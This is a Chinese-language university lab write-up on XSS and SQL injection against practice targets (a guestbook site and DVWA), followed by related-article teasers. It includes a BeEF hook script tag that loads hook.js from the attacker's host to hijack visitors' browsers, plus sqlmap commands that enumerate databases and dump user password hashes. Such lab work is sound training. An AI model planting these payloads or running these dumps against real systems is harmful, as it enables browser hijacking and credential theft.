实验三:XSS和SQL注入

article/2025/11/4 16:21:23

实验三:XSS和SQL注入

实验目的:

实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。

系统环境:Kali Linux 2、Windows Server

网络环境:交换网络结构

实验工具: Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

实验步骤:

XSS部分:利用Beef劫持被攻击者客户端浏览器。

实验环境搭建

角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)。

攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);

被攻击者:访问留言簿网站,浏览器被劫持。

本次实验使用的是桥接模式。

1、利用AWVS扫描留言簿网站(安装见参考文档0.AWVS安装与使用.docx),发现其存在XSS漏洞,截图。

先在虚拟机Win2003Server上搭建好留言簿网站,该网站的网址是Win2003Server的IP地址。然后挂着。
在这里插入图片描述

然后使用AWVS扫描该网站,发现其存在XSS漏洞。
在这里插入图片描述

2、 Kali使用beef生成恶意代码,截图。

  • kail中应该是没有自带Beef的,我们需要自己安装:

    sudo apt-get install beef-xss

  • 然后cd进入到这个文件夹中:

    cd /usr/share/beef-xss

  • 再输入:

    ./beef

    即可登录成功,第一次会提醒你需要用户名和密码。

  • 最后输入

    beef-xss

    就能生成恶意代码了。
    在这里插入图片描述

    <script src="http://<IP>:3000/hook.js"></script>

    该IP是kali的IP。

3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,截图。

在这里插入图片描述
在这里插入图片描述

​ 然后我们在靶机上查看该评论。在这里插入图片描述

然后我们就可以在kali的beef上看到靶机已经可以被我们控制了。
在这里插入图片描述
然后让靶机跳转到百度的网页。在这里插入图片描述

然后再靶机上看,网页确实跳转到了百度啦!在这里插入图片描述

5、回答问题:实验中XSS攻击属于哪种类型?

实验中的属于存储型XXS攻击

SQL注入部分:DVWA+SQLmap+Mysql注入实战

实验环境搭建。启动Metasploitable2虚拟机

1、注入点发现。首先肯定是要判断是否有注入漏洞。

在输入框输入1,返回

ID: 1

First name: admin

Surname: admin

返回正常;
在这里插入图片描述

再次输入1’,报错,返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
在这里插入图片描述
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

此时可以断定有SQL注入漏洞,

http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;
在这里插入图片描述

SQL注入之前还需要获取 cookie中的 PHPSESSID:在Firefox中按F12查看
在这里插入图片描述

2、枚举当前使用的数据库名称和用户名。

sqlmap语法参数:

  • -u:指定目标URL
  • –cookie:当前会话的cookies值
  • -b:获取数据库类型,检查数据库管理系统标识
  • –current-db:获取当前数据库
  • –current-user:获取当前数据库使用的用户
  • –string:当查询可用时用来匹配页面中的字符串
  • –users:枚举DBMS用户
  • -password:枚举DBMS用户密码hash

输入命令:

sqlmap -u "http://192.168.228.154/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=90d312798f848e76c086fbd8f2a06580' -b --current-db --current-user

在这里插入图片描述
结果:得到当前数据库为dawa,使用的用户为root@%。

3、枚举数据库用户名和密码

sqlmap语法参数:

  • -string:当查询可用时用来匹配页面中的字符串
  • -user:枚举DBMS用户
  • -password:枚举DBMS用户密码hash

输入以下命令:

sqlmap -u "http://192.168.228.154/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=90d312798f848e76c086fbd8f2a06580' --users --password

在这里插入图片描述

4、枚举数据库

–dbs:枚举当前数据库

输入以下命令:

sqlmap -u "http://192.168.228.154/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=90d312798f848e76c086fbd8f2a06580' --dbs

得到以下列举的数据库
在这里插入图片描述

5、枚举数据库和指定数据库的数据表

-D 数据库名:指定数据库

–tables:枚举指定数据库的所有表

输入以下命令:

sqlmap -u "http://192.168.228.154/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=90d312798f848e76c086fbd8f2a06580' -D "dvwa" --tables

在这里插入图片描述

6、获取指定数据库和表中所有列的信息

-D:指定的数据库

-T:指定数据库中的数据表

–columns:获取列的信息

输入以下命令:

sqlmap -u "http://192.168.228.154/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=90d312798f848e76c086fbd8f2a06580' -D "dvwa" -T users --columns

在这里插入图片描述

7、枚举指定数据表中的所有用户名与密码,并down到本地。

-C:枚举数据表中的列

–dump:存储数据表项

输入以下命令:

sqlmap -u "http://192.168.228.154/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=90d312798f848e76c086fbd8f2a06580' -D "dvwa" -T users -C “user_id,user,password” --dump

就可以看到枚举出来的所有用户名与密码了。
在这里插入图片描述

查看dowm到本地的用户名和密码
在这里插入图片描述
( 提示带.的文件夹为隐藏,在图形命令下,用文件浏览器打开文件夹,按下ctrl+h组合键可显示隐藏文件合文件夹,再按一次取消显示。)


http://chatgpt.dhexx.cn/article/mV4iGOu9.shtml

相关文章

XSS注入漏洞解决方法(高风险)

漏洞描述 攻击者往Web页面里插入恶意Script代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的Script代码会被执行&#xff0c;从而达到恶意攻击用户的目的。 漏洞验证 通过在页面中的留言板&#xff0c;提交框&#xff0c;录入信息框等能够提交参数的地方&a…

XSS注入——DOM型XSS

DOM型xss XSS根据恶意脚本的传递方式可以分为3种&#xff0c;分别为反射型、存储型、DOM型&#xff0c;前面两种恶意脚本都会经过服务器端然后返回给客户端&#xff0c;相对DOM型来说比较好检测与防御&#xff0c;而DOM型不用将恶意脚本传输到服务器在返回客户端&#xff0c;这…

XSS注入之xss-labs

目录 &#xff08;一&#xff09;配置环境 &#xff08;1&#xff09;phpstudy 的安装 &#xff08;2&#xff09;xss-labs 的安装 &#xff08;二&#xff09;XSS漏洞的一些基础知识 &#xff08;1&#xff09;XSS漏洞的定义 &#xff08;2&#xff09;XSS漏洞的原理 &…

sql注入和xss注入有什么不一样呢?

在OWASP Top10中注入排在第一位&#xff0c;xss排在第七位&#xff0c;那么问题问题就来了&#xff0c;sql注入和xss注入都是注入&#xff0c;为什么要单独把xss单独拿出来排个名呢&#xff1f;他俩到底有啥区别&#xff0c;各自的特点是啥&#xff1f;本文不对它俩做详细的讲解…

xss漏洞攻防

XSS基本概念和原理说明 基本概念 XSS又叫CSS (Cross Site Script) &#xff0c;跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的html代码会被执行&#xff0c;从而达到恶意的特殊目的。XSS属于被动…

XSS注入——反射性XSS

xss注入的攻击步骤&#xff1a; 1.查找可能存在的注入点&#xff08;搜索框&#xff0c;留言板&#xff0c;注册&#xff09; 2.观察输出显示位置&#xff1a; html&#xff1a; 尖括号外部&#xff0c; 尖括号内部: 引号内部》闭合&#xff0…

XSS注入的原理与实现

一、JavaScript的常用脚本 1.window.location.href 用来跳转页面 eg:<script>window.location.hrefwww.jd.com</script> 2.document.cookie 获取客户端的cookie值 3.script 可以通过“src”属性引入JavaScript文件 二、什么是同源策略 同源策略在web应用的安…

XSS注入(跨站脚本攻击)

今天学习一下xss注入 1.XSS是什么 XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)"&#xff0c;为了不和层叠样式表(Cascading Style Sheets,CSS)混淆&#xff0c;所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入&#xff0c;篡改了原本…

xss注入教程与总结

xss注入个人总结 1 " < >可以用URL编码 %22 %3c %3e HTML 编码 &quot; < > 代替 2 如果过滤 可以用%2522 %26colon; 这种代替尝试 二次转码 3 如果输入框有历史记录 &#xff0c;个人简介注意使用 发现很多网站对输入框有过滤缺但没有过滤历史记录这些…

XSS注入(1)-两个简单测试理解反射型xss注入和存储型xss注入

XSS注入(1)-两个例子理解反射型xss注入和存储型xss注入 XSS全称 Cross Site Script&#xff0c;为使与css语言重名&#xff0c;所以我们将其称为xss跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码&#xff0c;而程序对于用户输入内容未过滤&#xff0c;当用户浏…

xss漏洞注入

定义&#xff1a; XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript&#xff0c;但实际上也可以包括Java、 VBScript、ActiveX、 Fla…

XSS-Lab(XSS注入笔记1-16)

前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接&#xff1a;https://buuoj.cn/challenges#XSS-Lab Github仓库&#xff1a;https://github.com/rebo-rn/xss-lab 出题人的题解&#xff1a;https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.doc…

XSS注入原理以及一些绕过姿势

介绍 XSS——跨站脚本攻击。通过这个攻击手段&#xff0c;攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中&#xff0c;当用户浏览带有恶意代码的页面时&#xff0c;这些恶意代码会被触发&#xff0c;从而达到攻击的目的。可以说&#xff0c;XSS 是针对用户…

XSS注入基础入门篇

XSS注入基础入门篇 1.XSS基础概念2. XSS的分类以及示例2.1 反射型XSS2.1.1 示例1&#xff1a;dvwa low 级别的反射型XSS2.1.2 攻击流程 2.2 DOM型XSS2.2.1 示例2&#xff1a;DOM型XSS注入1.环境部署2.基础版本3.进阶绕过 2.3 存储型XSS2.3.1 示例1&#xff1a;dvwa low示例2.3.…

XSS跨站脚本注入详解

一、什么是XSS跨站脚本注入(XSS注入)? XSS(Cross-site scripting)注入是一种Web安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本,从而导致攻击者能够窃取受害者的敏感信息或者利用受害者的身份在应用程序上执行未经授权的操作。 攻击者通常会在受害者访问的Web页…

XSS注入

文章目录 前言一、XSS是什么&#xff1f;二、XSS的大致分类与利用思路1.反射型2.存储型3.DOM型 三、不同类型的XSS漏洞注入演示1.反射型xss2.存储型xss3.DOM型xss 三、XSS漏洞实战1.制作钓鱼网站获得用户的用户名和密码2.获取管理员的cookie 总结 前言 本篇文章详细讲解XSS漏洞…

XSS注入测试

XSS 全称(Cross Site Scripting) 跨站脚本攻击&#xff0c; 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时&#xff0c;脚本就会在用户的浏览器上执行&#xff0c;从而达到攻击者的目的. 比如获取用户的Cookie&#xff0c;导…

MySQL和Navicat的安装与配置

mysql和navicat的安装与配置 MySQL的安装与配置Navicat的安装与配置 安装下载&#xff1a; MySQL下载 Navicat下载 MySQL的安装与配置 将mysql文件夹转移到自己想放置的路径下 复制mysql的bin路径 打开环境变量配置 右击【此电脑】&#xff0c;打开【属性】&#xff0c;打开…

手把手教你安装MySQL+Navicat

本文为个人于 Windows10&#xff08;64位&#xff09;操作系统下 安装MySQL&#xff08;版本号&#xff1a;8.0.18&#xff09;和Navicat&#xff08;版本号&#xff1a;12&#xff09;的过程记录&#xff0c;希望也能给你带来帮助。 目录 一、MySQL的安装1. 卸载电脑上已有版…

MySQL+Navicat 下载、安装教程(Windows)

目录 前言MySQL下载安装验证 Navicat下载安装配置 前言 MySQL 在过去由于性能高、成本低、可靠性好&#xff0c;已经成为最流行的开源数据库&#xff0c;因此被广泛地应用在 Internet 上的中小型网站中。随着 MySQL 的不断成熟&#xff0c;它也逐渐用于更多大规模网站和应用。—…